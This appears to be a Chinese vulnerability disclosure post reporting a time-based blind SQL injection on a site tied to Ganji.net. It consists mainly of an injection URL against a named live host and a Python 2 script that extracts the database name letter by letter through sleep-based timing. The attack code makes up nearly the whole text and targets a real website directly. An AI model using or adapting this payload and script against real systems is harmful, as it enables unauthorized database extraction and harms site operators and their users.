赶集网某站存在SQL注入漏洞（附脚本）

http://www.haoshouwang.com/oldnew/index/search_old/id/105-if(now()=sysdate(),sleep(if(length(database())=7,3,0)),0)

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {}
 
 payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.ABCD'
 
 
 
 print '[%s] Start to retrive MySQL DB:' % time.strftime('%H:%M:%S', time.localtime())
 
 db = ''
 
 for i in range(1, 8):
 
     for payload in payloads:
         
         try:
 
             s = "ascii(substring(database(),%s,1))=%s" % (i, ord(payload))
 
             s = "if(now()=sysdate(),sleep(if(%s,5,0)),0)" % s
 
             conn = httplib.HTTPConnection('www.haoshouwang.com', timeout=5)
 
             conn.request(method='GET',url="/oldnew/index/search_old/id/105-%s" % urllib.quote(s))
 
             conn.getresponse()
 
             conn.close()
 
             print '.',
 
         except:
 
             db += payload
 
             print '/n[in progress]', db,
 
             time.sleep(3.0)
 
             break
 
         
 
 print '/n[Done] MySQL DB is %s' % db